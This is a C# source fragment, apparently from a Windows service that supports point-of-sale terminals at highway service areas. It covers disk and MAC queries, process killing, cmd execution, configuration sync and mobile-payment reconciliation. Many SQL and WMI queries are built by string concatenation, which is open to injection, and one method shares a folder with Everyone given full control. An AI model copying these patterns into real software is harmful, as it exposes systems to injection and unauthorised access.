if (diskcollection != null && diskcollection.Count > 0)
{
list = new List();
hardiskPartition harddisk = null;
foreach (ManagementObject disk in searcher.Get())
{
int nType = Convert.ToInt32(disk["DriveType"]);
if (nType != Convert.ToInt32(DriveType.Fixed))
{
continue;
}
else
{
harddisk = new hardiskPartition();
harddisk.FreeSpace = Convert.ToDouble(disk["FreeSpace"]) / (1024 * 1024 * 1024);
harddisk.SumSpace = Convert.ToDouble(disk["Size"]) / (1024 * 1024 * 1024);
harddisk.PartitionName = disk["DeviceID"].ToString();
list.Add(harddisk);
}
}
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("硬盘使用信息:" + ex.Message);
}
return list;
}
#region 方法->多线程弹窗
///
/// 多线程弹窗
///
/// 进程名
/// 内存地址
public void invokeShow(string _process, string _memory)
{
Form f1 = new message(_process, _memory);
Invoke(new EventHandler(showForm), new object[] { f1, null });
}
public void showForm(object sender, EventArgs e)
{
Form f1 = sender as message;
f1.Show();
}
#endregion
///
/// 随机十六进制值
///
/// 长度
/// 是否挂起线程
///
public static string Str_char(int Length, bool Sleep)
{
if (Sleep) Thread.Sleep(3);
char[] Pattern = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };
string result = "";
int n = Pattern.Length;
Random random = new Random(~unchecked((int)DateTime.Now.Ticks));
for (int i = 0; i < Length; i++)
{
int rnd = random.Next(0, n);
result += Pattern[rnd];
}
return result;
}
///
/// 结束指定多个不同进程
///
/// 进程名称列表
///
public bool KillExe(string[] strProNameList)
{
if (strProNameList == null)
{
return true;
}
foreach (string strProName in strProNameList)
{
Process[] processes = Process.GetProcessesByName(strProName.Substring(0, strProName.LastIndexOf('.'))); //同程序名的所有进程
foreach (Process p in processes)//判断当前进程中是否已有该程序
{
if (p.MainModule.ModuleName == strProName)//通过程序路径判断,而不能通过程序名判断
{
string strVN = p.MainModule.FileVersionInfo.FileVersion; //获取进程中正在运行的这个程序的版本号
p.Kill(); // 结束进程
}
}
}
return true;
}
///
/// 结束指定单个进程
///
/// 进程名称
///
public bool KillExe(string strProName)
{
if (strProName == null)
{
return true;
}
try
{
Process[] processes = Process.GetProcessesByName(strProName.Substring(0, strProName.LastIndexOf('.'))); //同程序名的所有进程
foreach (Process p in processes)//判断当前进程中是否已有该程序
{
if (p.MainModule.ModuleName == strProName)//通过程序路径判断,而不能通过程序名判断
{
string strVN = p.MainModule.FileVersionInfo.FileVersion; //获取进程中正在运行的这个程序的版本号
p.Kill(); // 结束进程
}
}
}
catch { }
return true;
}
#region 方法-> 运行Dos命令
///
/// 运行Dos命令并返回结果
///
/// Dos命令
/// 进程等待时间(毫秒)
///
public static string Execute(string command, int seconds = 2000)
{
string output = ""; //输出字符串
if (command != null && !command.Equals(""))
{
Process process = new Process();//创建进程对象
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "cmd.exe";//设定需要执行的命令
startInfo.Arguments = "/C " + command;//“/C”表示执行完命令后马上退出
startInfo.UseShellExecute = false;//不使用系统外壳程序启动
startInfo.RedirectStandardInput = false;//不重定向输入
startInfo.RedirectStandardOutput = true; //重定向输出
startInfo.CreateNoWindow = true;//不创建窗口
process.StartInfo = startInfo;
try
{
if (process.Start())//开始进程
{
if (seconds == 0)
{
process.WaitForExit();//这里无限等待进程结束
}
else
{
process.WaitForExit(seconds); //等待进程结束,等待时间为指定的毫秒
}
output = process.StandardOutput.ReadToEnd();//读取进程的输出
}
}
catch
{
}
finally
{
if (process != null)
process.Close();
}
}
return output;
}
#endregion
///
/// 获取开关机时间
///
/// 系统日志名称
/// 事件ID
/// 基准时间
/// 是否大于基准时间
///
public string GetLogDateTime(string _LogName, int _EventID, DateTime _DateTime, bool _bool)
{
List _DateTimeList = new List();
//DateTime _datetime = DateTime.Parse("2000/01/01 00:00:00");
string _datetime = "";
EventLog el = new EventLog(_LogName);
if (_bool)
{
foreach (EventLogEntry l in el.Entries)
{
if (l.EventID == _EventID && l.TimeGenerated >= _DateTime)
{
_DateTimeList.Add(l.TimeGenerated);
}
}
if (_DateTimeList.Count > 0)
_datetime = _DateTimeList.Min().ToString("yyyy/MM/dd HH:mm:ss");
}
else
{
foreach (EventLogEntry l in el.Entries)
{
if (l.EventID == _EventID && l.TimeGenerated <= _DateTime)
{
_DateTimeList.Add(l.TimeGenerated);
}
}
if (_DateTimeList.Count > 0)
_datetime = _DateTimeList.Max().ToString("yyyy/MM/dd HH:mm:ss");
}
return _datetime;
}
///
/// 配置文件更新
///
public void ConfigUpdate()
{
try
{
string _machinecode = "", _serverpartcode = "", _shopcode = "";
string _configsql = "select configuration_name,configuration_values from dba.t_configuration " +
"where configuration_name in ('server_ip','serverpartcode','shopcode','machinecode')";
DataTable _DataTable = Lib.SyBaseHelper.QueryOdbc(_configsql).Tables[0];
if (_DataTable.Rows.Count > 0)
{
foreach (DataRow configrd in _DataTable.Rows)
{
if (configrd["configuration_name"].ToString().ToLower() == "serverpartcode")
{
_serverpartcode = configrd["configuration_values"].ToString();
if (_serverpartcode != "")
{
Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\setup.ini", "DBCONECT", "serverpartcode", _serverpartcode);
Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\set.ini", "DBCONECT", "serverpartcode", _serverpartcode);
}
}
else if (configrd["configuration_name"].ToString().ToLower() == "shopcode")
{
_shopcode = configrd["configuration_values"].ToString();
if (_shopcode != "")
{
Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\setup.ini", "DBCONECT", "shopcode", _shopcode);
Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\set.ini", "DBCONECT", "shopcode", _shopcode);
}
}
else if (configrd["configuration_name"].ToString().ToLower() == "machinecode")
{
_machinecode = configrd["configuration_values"].ToString();
if (_machinecode != "")
{
Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\setup.ini", "DBCONECT", "machinecode", _machinecode);
Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\set.ini", "DBCONECT", "machinecode", _machinecode);
}
}
else if (configrd["configuration_name"].ToString().ToLower() == "server_ip")
{
dbip = configrd["configuration_values"].ToString();
if (dbip != "")
{
Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\setup.ini", "DBCONECT", "dbip", dbip);
Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\set.ini", "DBCONECT", "dbip", dbip);
}
}
}
}
}
catch
{ }
}
///
/// 获取物理网卡mac地址
///
///
public string GetMacAddressByNetworkInformation()
{
string key = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\";
string macAddress = string.Empty;
try
{
NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
foreach (NetworkInterface adapter in nics)
{
if (adapter.NetworkInterfaceType == NetworkInterfaceType.Ethernet
&& adapter.GetPhysicalAddress().ToString().Length != 0)
{
string fRegistryKey = key + adapter.Id + "\\Connection";
RegistryKey rk = Registry.LocalMachine.OpenSubKey(fRegistryKey, false);
if (rk != null)
{
string fPnpInstanceID = rk.GetValue("PnpInstanceID", "").ToString();
int fMediaSubType = Convert.ToInt32(rk.GetValue("MediaSubType", 0));
if (fPnpInstanceID.Length > 3 &&
fPnpInstanceID.Substring(0, 3) == "PCI")
{
macAddress = adapter.GetPhysicalAddress().ToString();
for (int i = 1; i < 6; i++)
{
macAddress = macAddress.Insert(3 * i - 1, ":");
}
break;
}
}
}
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("获取MAC地址:" + ex.Message);
macAddress = string.Empty;
}
return macAddress;
}
///
/// 设置文件夹共享
///
/// 文件夹路径
/// 共享名
/// 共享注释
///
public static int ShareNetFolder(string FolderPath, string ShareName, string Description)
{
try
{
ManagementClass managementClass = new ManagementClass("Win32_Share");
// Create ManagementBaseObjects for in and out parameters
ManagementBaseObject inParams = managementClass.GetMethodParameters("Create");
ManagementBaseObject outParams;
// Set the input parameters
inParams["Description"] = Description;
inParams["Name"] = ShareName;
inParams["Path"] = FolderPath;
inParams["Type"] = 0x0; // Disk Drive
outParams = managementClass.InvokeMethod("Create", inParams, null);
// Check to see if the method invocation was successful
if ((uint)(outParams.Properties["ReturnValue"].Value) != 0)
{
throw new Exception("Unable to share directory.");
}
//设置所有人可读
DirectorySecurity fSec = new DirectorySecurity();
fSec.AddAccessRule(new FileSystemAccessRule(@"Everyone", FileSystemRights.FullControl, AccessControlType.Allow));
Directory.SetAccessControl(FolderPath, fSec);
}
catch
{
return -1;
}
return 0;
}
///
/// 取消文件夹共享
///
/// 文件夹的共享名
///
public static int CancelShareNetFolder(string ShareName)
{
try
{
SelectQuery selectQuery = new SelectQuery("Select * from Win32_Share Where Name = '" + ShareName + "'");
ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery);
foreach (ManagementObject mo in searcher.Get())
{
mo.InvokeMethod("Delete", null, null);
}
}
catch
{
return -1;
}
return 0;
}
private void UpdateApp()
{
//try
//{
// Version oldVersion = new Version(FileVersionInfo.GetVersionInfo(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "AutoUpdateEx.exe")).FileVersion);
// Version newVersion = new Version(2, 0, 0, 6);
// if (oldVersion < newVersion)
// {
// byte[] Save = ConnectPoint.Properties.Resources.AutoUpdateEx;
// FileStream fsObj = new FileStream(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "AutoUpdateEx.exe"), FileMode.Create);
// fsObj.Write(Save, 0, Save.Length);
// fsObj.Close();
// }
//}
//catch { }
}
private string Selldata_Date(string startdate, string enddate, string maxmin, bool isNewSystem)
{
string selldata_date = "";
string _sqlstr = "";
if (isNewSystem)
{
_sqlstr = string.Format("SELECT {0}(SELLMASTER_DATE) FROM T_SELLMASTER WHERE SERVERPARTCODE = '{1}' AND " +
"SHOPCODE = '{2}' AND MACHINECODE = '{3}' AND SELLMASTER_DATE BETWEEN DATETIME('{4}') AND DATETIME('{5}')",
maxmin, _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode, startdate, enddate);
}
else
{
_sqlstr = "SELECT " + maxmin + "(SELLDATA_DATE) FROM T_SELLDATA " +
"WHERE SELLDATA_DATE BETWEEN DATETIME('" + startdate +
"') AND DATETIME('" + enddate + "') AND SERVERPARTCODE = '" +
SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE +
"' AND MACHINECODE = '" + MACHINECODE + "'";
}
DataTable _selldata = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0];
if (_selldata.Rows.Count > 0)
{
selldata_date = _selldata.Rows[0][0].ToString();
}
return selldata_date;
}
///
/// 获取首末笔流水信息
///
///
///
///
///
private string Ticket_Info(string startdate, string enddate, string maxmin, bool isNewSystem)
{
string _sqlstr, ticket_info = "", commodity = "", SellDetail = "";
int maxid = 0;
// 单品数:goods_count,客单数:ticket_count,销售数:sell_count,销售额:fact_sum,单笔优惠:offprice,单笔金额:fact_amount
decimal goods_count = 0, ticket_count = 0, sell_count = 0, fact_sum = 0, offprice = 0, fact_amount = 0;
if (isNewSystem)
{
_sqlstr = string.Format("SELECT A.SELLMASTER_DATE AS SELLDATA_DATE,A.TICKET_CODE AS TICKETCODE," +
"A.SELLWORKER_NAME AS SELLWORKERNAME,B.COMMODITY_CODE AS COMMODITY_CODE," +
"B.SELLDETAILS_COUNT AS SELLCOUNT,B.SELLDETAILS_PRICE AS SELLPRICE,B.SELLDETAILS_OFFPRICE AS OFFPRICE," +
"B.SELLDETAILS_AMOUNT AS FACTAMOUNT FROM T_SELLMASTER A,T_SELLDETAILS B " +
"WHERE A.SELLMASTER_CODE = B.SELLMASTER_CODE AND A.SELLMASTER_DATE = ( " +
"SELECT {0}(SELLMASTER_DATE) FROM T_SELLMASTER WHERE SERVERPARTCODE = '{1}' AND SHOPCODE = '{2}' " +
"AND MACHINECODE = '{3}' AND SELLMASTER_DATE BETWEEN DATETIME('{4}') AND DATETIME('{5}'))",
maxmin, _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode, startdate, enddate);
}
else
{
_sqlstr = "SELECT A.SELLDATA_DATE,A.TICKETCODE,B.SELLWORKERNAME,A.COMMODITY_CODE," +
"A.SELLCOUNT,A.SELLPRICE,A.OFFPRICE,A.FACTAMOUNT FROM T_SELLDATA A,T_SELLWORKER B " +
"WHERE B.SELLWORKERCODE=A.WORKERCODE AND B.SERVERPARTCODE=A.SERVERPARTCODE AND " +
"A.SELLDATA_DATE = ( SELECT " + maxmin + "(SELLDATA_DATE) FROM T_SELLDATA " +
"WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE +
"' AND MACHINECODE = '" + MACHINECODE + "' AND SELLDATA_DATE BETWEEN DATETIME('" +
startdate + "') AND DATETIME('" + enddate + "'))";
}
DataTable _selldata = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0];
if (_selldata.Rows.Count > 0)
{
commodity = "";
SellDetail = "";
offprice = 0;
fact_amount = 0;
foreach (DataRow dr in _selldata.Rows)
{
commodity += (commodity == "" ? "" : ",") + dr["commodity_code"].ToString();
SellDetail += (SellDetail == "" ? "" : ",") + "(" + dr["sellcount"].ToString() + "*" + dr["sellprice"].ToString() + ")";
offprice += Convert.ToDecimal(dr["offprice"]);
fact_amount += Convert.ToDecimal(dr["factamount"]);
}
ticket_info = Convert.ToDateTime(_selldata.Rows[0]["selldata_date"]).ToString("yyyy/MM/dd HH:mm:ss") +
"|" + _selldata.Rows[0]["ticketcode"].ToString() + "|" + _selldata.Rows[0]["sellworkername"].ToString() +
"|" + commodity + "|" + SellDetail + "|" + offprice.ToString("F2") + "|" + fact_amount.ToString("F2");
}
return ticket_info;
}
public static DataTable ConvertOraclTableToDoNetTable(DataTable table)
{
DataTable dt = new DataTable();
foreach (DataColumn dc in table.Columns)
{
DataColumn column = new DataColumn();
column.DataType = GetDataType(dc.DataType);
column.ColumnName = dc.ColumnName;
column.Caption = dc.Caption;
dt.Columns.Add(column);
}
dt.TableName = table.TableName;
dt.Merge(table, false, MissingSchemaAction.Ignore);
return dt;
}
public static Type GetDataType(Type dataType)
{
switch (dataType.ToString())
{
case "System.Double":
return System.Type.GetType("System.Decimal");
case "System.Int32":
return System.Type.GetType("System.Decimal");
case "System.Int16":
return System.Type.GetType("System.Decimal");
case "System.Int64":
return System.Type.GetType("System.Decimal");
default:
return dataType;
}
}
public static string GetDataType(DataTable table)
{
switch (table.TableName)
{
case "T_ENDACCOUNT":
return "1001,1002";
case "T_PERSONSELL":
return "2001";
case "T_TRANSFER_SALE":
return "3001";
case "T_MOBILE_PAY":
return "4001";
default:
return "";
}
}
#region 方法 --> 更新本地配置信息
///
/// 更新本地配置信息
///
/// 配置名称
/// 配置内容
///
public static bool UpdateConfigUration(string ConfigUration_Name, string ConfigUration_Values)
{
string strsql = "select 1 from t_configuration where lower(configuration_name) = lcase('" + ConfigUration_Name + "')";
if (Lib.SyBaseHelper.QueryOdbc(strsql).Tables[0].Rows.Count == 0)
{
decimal maxid = 0;
try
{
maxid = decimal.Parse(Lib.SyBaseHelper.QueryOdbc("select max(configuration_id) from t_configuration").Tables[0].Rows[0][0].ToString());
}
catch (Exception ex)
{
maxid = 0;
}
strsql = "insert into t_configuration(configuration_id, configuration_date, configuration_name, configuration_values)values(" +
(maxid + 1) + ", now(),'" + ConfigUration_Name + "','" + ConfigUration_Values + "')";
try
{
Lib.SyBaseHelper.ExecuteSqlTran(strsql);
return true;
}
catch (Exception)
{
return false;
}
}
else
{
strsql = "update t_configuration set configuration_values = '" + ConfigUration_Values + "' where lower(configuration_name) = lcase('" + ConfigUration_Name + "')";
try
{
Lib.SyBaseHelper.ExecuteSqlTran(strsql);
return true;
}
catch (Exception ex)
{
return false;
}
}
}
#endregion
#region 未知商品自动校正
///
/// 未知商品自动校正
///
private void CommodityUpdate()
{
string _Result = "";
QualityHelper qualityHelper = new QualityHelper();
string _selectsql = "select commodity_barcode from t_commodityex where commodity_name like '%未知商品%' ";// and datalength(commodity_barcode) >= 8";
try
{
using (DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_selectsql).Tables[0])
{
if (_DataTable.Rows.Count > 0)
{
for (int i = 0; i < _DataTable.Rows.Count; i++)
{
string[] _barcode = { _DataTable.Rows[i]["commodity_barcode"].ToString().Trim() };
try
{
//_Result = WSHelper.InvokeWebService("http://localhost:7080/EShangTechService/Service.asmx", "querypay", _barcode).ToString();
_Result = WSHelper.InvokeWebService("http://" + qualityHelper.dbip + ":" + qualityHelper.serviceport + "/Service.asmx", "BarcodeLibraryQuery", _barcode).ToString();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("校对商品信息:" + ex.Message);
_Result = "";
}
using (DataTable _ResultTable = JsonHelper.JsonToDataTable(_Result))
{
if (_ResultTable.Rows.Count > 0)
{
for (int j = 0; j < _ResultTable.Rows.Count; j++)
{
string _updatesql = "UPDATE T_COMMODITYEX " +
"SET " +
"COMMODITY_TYPE = '" + _ResultTable.Rows[j]["COMMODITY_TYPE"].ToString() + "'," +
"COMMODITY_NAME = '" + _ResultTable.Rows[j]["COMMODITY_NAME"].ToString() + "', " +
"COMMODITY_RULE = '" + _ResultTable.Rows[j]["COMMODITY_RULE"].ToString() + "', " +
"COMMODITY_UNIT = '" + _ResultTable.Rows[j]["COMMODITY_UNIT"].ToString() + "' , " +
"DOWNLOADDATE = DATETIME('" + DateTime.Now.ToString() + "') " +
"WHERE " +
"COMMODITY_BARCODE = '" + _DataTable.Rows[i]["commodity_barcode"].ToString() + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(_updatesql);
}
}
}
}
}
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("校对商品信息:" + ex.Message);
}
}
#endregion
///
/// 校验授权码是否有效
///
/// 授权码
///
private bool AuthorizationCheck(string strAuthorization, string strServerPart)
{
try
{
string[] _strCodes = strAuthorization.ToDecrypt().Split('|');
if (GetMacAddressByNetworkInformation() == _strCodes[3]
&& DateTime.Parse(_strCodes[2]) > DateTime.Now
&& _strCodes[0] == strServerPart)
{
return true;
}
else
{
return false;
}
}
catch
{
return false;
}
}
public void PresenterCheck()
{
try
{
string serverpartcode = _QualityHelper.serverpartcode;
string shopcode = _QualityHelper.shopcode;
if (((serverpartcode == "331010" && shopcode.Substring(1, 1) == "1") ||//萧山东
(serverpartcode == "330306" && shopcode.Substring(1, 1) == "4") ||//嘉兴北
(serverpartcode == "331060" && shopcode.Substring(1, 1) == "4") ||//德清北
(serverpartcode == "333020" && shopcode.Substring(1, 1) == "3") ||//台州西
(serverpartcode == "334030" && shopcode.Substring(1, 1) == "4") ||//衢州北
(serverpartcode == "888888" && shopcode.Substring(1, 1) == "4")) && //测试北
decimal.Parse(_QualityHelper.ConfigurationValues("Lucky", "0")) > -1 && DateTime.Today < new DateTime(2019, 3, 1))
{
try
{
System.Collections.Hashtable hashtable = new System.Collections.Hashtable
{
{ "serverPartCode",serverpartcode },
{ "startDate", "2019/01/21 00:00:00" }
};
string _Result = ESSupport.Lib.SoapWSHelper.QuerySoapWebServiceString("http://" + _QualityHelper.dbip + ":" +
_QualityHelper.serviceport + "/service.asmx", "PresenterRecordQuery", hashtable);
int.Parse(_Result);
UpdateConfigUration("Lucky", _Result);
if (_QualityHelper.serverpartcode == "888888")
{
LogHelper.WriteServiceLog("消费赠礼检测结果:" + _Result);
}
}
catch (Exception ex)
{
UpdateConfigUration("Lucky", "0");
LogHelper.WriteServiceLog("消费赠礼检测失败:" + ex.Message);
}
}
}
catch { }
}
#region 方法 -> 获取门店移动支付通道配置
///
/// 获取门店移动支付通道配置
///
/// 接口地址
/// 服务区编码
/// 业态编码
public void MobilePayConfigUpdate(string paySeviceIP, string[] payServicePort, string serverPartCode, string businessType)
{
if (string.IsNullOrWhiteSpace(paySeviceIP) || payServicePort == null || payServicePort.Count() == 0 ||
string.IsNullOrWhiteSpace(serverPartCode) || string.IsNullOrWhiteSpace(businessType))
{
return;
}
bool _isDataDown = false;
List _ServiceUrlList = new List();
for (int i = 0; i < payServicePort.Count(); i++)
{
_ServiceUrlList.Add(string.Format("http://{0}:{1}/Service.asmx", paySeviceIP, payServicePort[i]));
}
System.Collections.Hashtable hashtable = new System.Collections.Hashtable
{
{ "serverPartCode", serverPartCode },
{ "businessType", businessType }
};
foreach (string _strServiceUrl in _ServiceUrlList)
{
try
{
string _strResult = ESSupport.Lib.SoapWSHelper.QuerySoapWebServiceString(_strServiceUrl, "MobilePayConfig", hashtable);
if (!string.IsNullOrWhiteSpace(_strResult))
{
DataTable _DateTable = JsonHelper.JsonToDataTable(_strResult);
if (_DateTable != null && _DateTable.Rows.Count > 0)
{
foreach (DataRow _DataRow in _DateTable.Rows)
{
UpdateConfigUration(_DataRow["k"].ToString(), _DataRow["v"].ToString());
}
_isDataDown = false;
}
else
{
_isDataDown = true;
}
}
else
{
_isDataDown = true;
}
break;
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("移动支付通道配置下载异常:" + ex.Message);
}
}
if (_isDataDown)
{
try
{
if (_OracleHelper == null)
{
_OracleHelper = new Lib.OracleHelper(_QualityHelper.dbip,
_QualityHelper.dbport, _QualityHelper.conname,
_QualityHelper.dbuser, _QualityHelper.dbpass);
}
DataTable _DataTable = _OracleHelper.ExcuteSqlGetDataSet(string.Format(
@"SELECT * FROM HIGHWAY_EXCHANGE.T_CONFIGURATION
WHERE MACADDRESS = '{0}' AND UPPER(CONFIGURATION_NAME) IN (
'SERVER_IP','SERVICE_PORT','SERVICE_PORT2','SERVICE_PORT3',
'SERVICE_PORT4','SERVICE_PORT5','MOBILEPAYOPERATORS')",
Lib.PCHelper.GetMacAddressByNetworkInformation())).Tables[0];
for (int i = 0; i < _DataTable.Rows.Count; i++)
{
UpdateConfigUration(_DataTable.Rows[i]["CONFIGURATION_NAME"].ToString(),
_DataTable.Rows[i]["CONFIGURATION_VALUES"].ToString());
}
}
catch { }
}
}
#endregion
///
/// 移动支付交易校验
///
/// 服务地址
/// 服务端口
/// 服务区编码
/// 门店编码
/// 收银机编码
/// 校验起始时间
public void PayCheck(string paySeviceIP, string payServicePort, string serverPartCode,
string shopCode, string machineCode, DateTime payStartDate)
{
string _strServiceUrl = String.Format("http://{0}:{1}/Service.asmx", paySeviceIP, payServicePort);
string _strSelect = String.Format("SELECT TICKET_CODE FROM T_MOBILE_PAY " +
"WHERE MOBILEPAY_DATE BETWEEN DATETIME('{0}') AND DATETIME('{1}') " +
"AND MOBILEPAY_RESULT NOT IN(1,5,9)",
payStartDate.ToString("yyyy/MM/dd HH:mm:ss"), DateTime.Now.AddMinutes(-5));
DataTable _tableMobilePay = ESSupport.Lib.SyBaseHelper.QueryOdbc(_strSelect).Tables[0];
if (_tableMobilePay.Rows.Count > 0)
{
string _strOrderCode = "";
string _strResult = "";
string _strLeft = serverPartCode + shopCode + machineCode.PadLeft(4, '0');
List _listUpdate = new List();
for (int i = 0; i < _tableMobilePay.Rows.Count; i++)
{
_strOrderCode += (_strOrderCode == "" ? "" : ",") + _tableMobilePay.Rows[i]["TICKET_CODE"].ToString().Replace(_strLeft, "");
if ((i + 1) % 20 == 0 || (i + 1) == _tableMobilePay.Rows.Count)
{
object[] _args = { serverPartCode, shopCode, machineCode, _strOrderCode };
try
{
_strResult = WSHelper.InvokeWebService(_strServiceUrl, "MobilePayCheck", _args).ToString();
if (!String.IsNullOrWhiteSpace(_strResult))
{
DataTable _tableResult = Lib.JsonHelper.JsonToDataSet(_strResult).Tables[0];
string _strTicketCode = "";
for (int n = 0; n < _tableResult.Rows.Count; n++)
{
_strTicketCode += (_strTicketCode == "" ? "" : ",") + "'" + _tableResult.Rows[n]["TICKETCODE"].ToString() + "'";
}
if (!String.IsNullOrWhiteSpace(_strTicketCode))
{
_listUpdate.Add(String.Format("UPDATE T_MOBILE_PAY SET MOBILEPAY_RESULT = 5, MOBILEPAY_STATE = 0" +
"WHERE TICKET_CODE IN({0}) AND MOBILEPAY_RESULT NOT IN (1,5,9)", _strTicketCode));
_listUpdate.Add(String.Format("UPDATE T_SELLDATA_PAY SET SELLDATAPAY_STATE = 8 " +
"WHERE ORDERCODE IN ({0}) AND SELLDATAPAY_STATE NOT IN (1,9)", _strTicketCode));
}
}
}
catch
{
}
_strOrderCode = "";
}
}
if (_listUpdate.Count > 0)
{
try
{
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(_listUpdate);
}
catch (Exception ex)
{ }
}
}
}
}
}